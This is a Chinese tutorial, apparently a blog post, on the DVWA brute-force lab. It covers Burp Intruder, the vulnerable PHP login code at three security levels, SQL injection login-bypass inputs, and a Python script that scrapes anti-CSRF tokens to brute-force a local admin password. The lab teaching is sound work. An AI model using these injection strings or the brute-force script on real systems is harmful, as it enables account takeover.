BF算法,即暴风(Brute Force)算法,是普通的模式匹配算法,BF算法的思想就是将目标串S的第一个字符与模式串T的第一个字符进行匹配,若相等,则继续比较S的第二个字符和 T的第二个字符;若不相等,则比较S的第二个字符和T的第一个字符,依次比较下去,直到得出最后的匹配结果。BF算法是一种蛮力算法。
Burp Intruder是一个强大的工具,用于自动对Web应用程序自定义的攻击,Burp Intruder 是高度可配置的,并被用来在广范围内进行自动化攻击。
**原理:Intruder在原始请求数据的基础上,通过修改各种请求参数,以获取不同的请求应答。**每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析来获得需要的特征数据。Burp Intruder通常被使用在以下场景:
详细选项配置参考BurpSuite系列(五)----Intruder模块(暴力破解)
下面将对四种级别的代码进行分析。
服务器端核心代码
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "Welcome to the password protected area {$user}
"; $html .= ""; } else { // Login failed $html .= ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
服务器只是验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。
第一步抓包
第二步,ctrl+I将包复制到intruder模块,因为要对password参数进行爆破,所以在password参数的内容添加标记。
第三步选中Payloads,载入字典,点击Start attack进行爆破。
最后,尝试在爆破结果中找到正确的密码,可以看到password的响应包长度(length)“与众不同”,可推测password为正确密码,手工验证登陆成功。
因为mysqli_num_rows( $result ) == 1,所以产生的结果数必须为1条,而且密码经过了md5加密,是不可控的,所以只能在username上构造语句:
SELECT * FROM ‘users’ WHERE user = ‘1’ or 1=1 limit 0,1#’ AND password = ‘随意填’;
用户名:1’ or 1=1 limit 0,1#
密码:随意
当然如果你知道一个用户名为admin的话,也可以构造:
SELECT * FROM ‘users’ WHERE user = ‘admin’#’ AND password = ‘$pass’;
服务器端核心代码
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "Welcome to the password protected area {$user}
"; $html .= ""; } else { // Login failed sleep( 2 ); $html .= ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义,通过phpstudy打开mysql命令行查看mysql版本。
具体的mysql_real_escape_string函数绕过问题详见
魔术引号、addslashes和mysql_real_escape_string的防御以及绕过
PHP字符编码绕过漏洞总结
实验环境为MySQL5.7.21,同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制。
如果密码错误的话会sleep( 2 ),每一次的请求包响应时间由毫秒基本变成了2~10秒。这样大大的增加了我们破解出密码锁需要的时间。步骤与LOW模式一致。
这里就当作不知道用户名和密码,添加两个字典用集束炸弹模式用笛卡儿积的方式同时暴破两个参数:
设置payload1,2对应的用户名密码字典
在响应头提取welcome:
等待筛选到的welcome即可。
组合次数非常大。
服务器端核心代码
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "Welcome to the password protected area {$user}
"; $html .= ""; } else { // Login failed sleep( rand( 0, 3 ) ); $html .= ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
Username and/or password incorrect.
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。
由于加入了Anti-CSRFtoken预防无脑爆破,这里使用python脚本进行爆破。python 脚本(python 2.7),用户名为admin,对password参数进行爆破并打印结果。
from bs4 import BeautifulSoup
import urllib2
header={
'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'en-US,en;q=0.5',
'Accept-Encoding':'gzip, deflate',
'Referer':'http://127.0.0.1/vulnerabilities/brute/index.php',
'Cookie':'security=high; PHPSESSID=fvdht9e8smk3cbo57rr11jufn3',
'Connection':'close',
'Upgrade-Insecure-Requests':'1'}
requrl = "http://127.0.0.1/vulnerabilities/brute/"
def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
d = soup.find_all('input', attrs={'name':'user_token'})
user_token = d[0].attrs['value']
return user_token
user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
requrl = "http://127.0.0.1/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break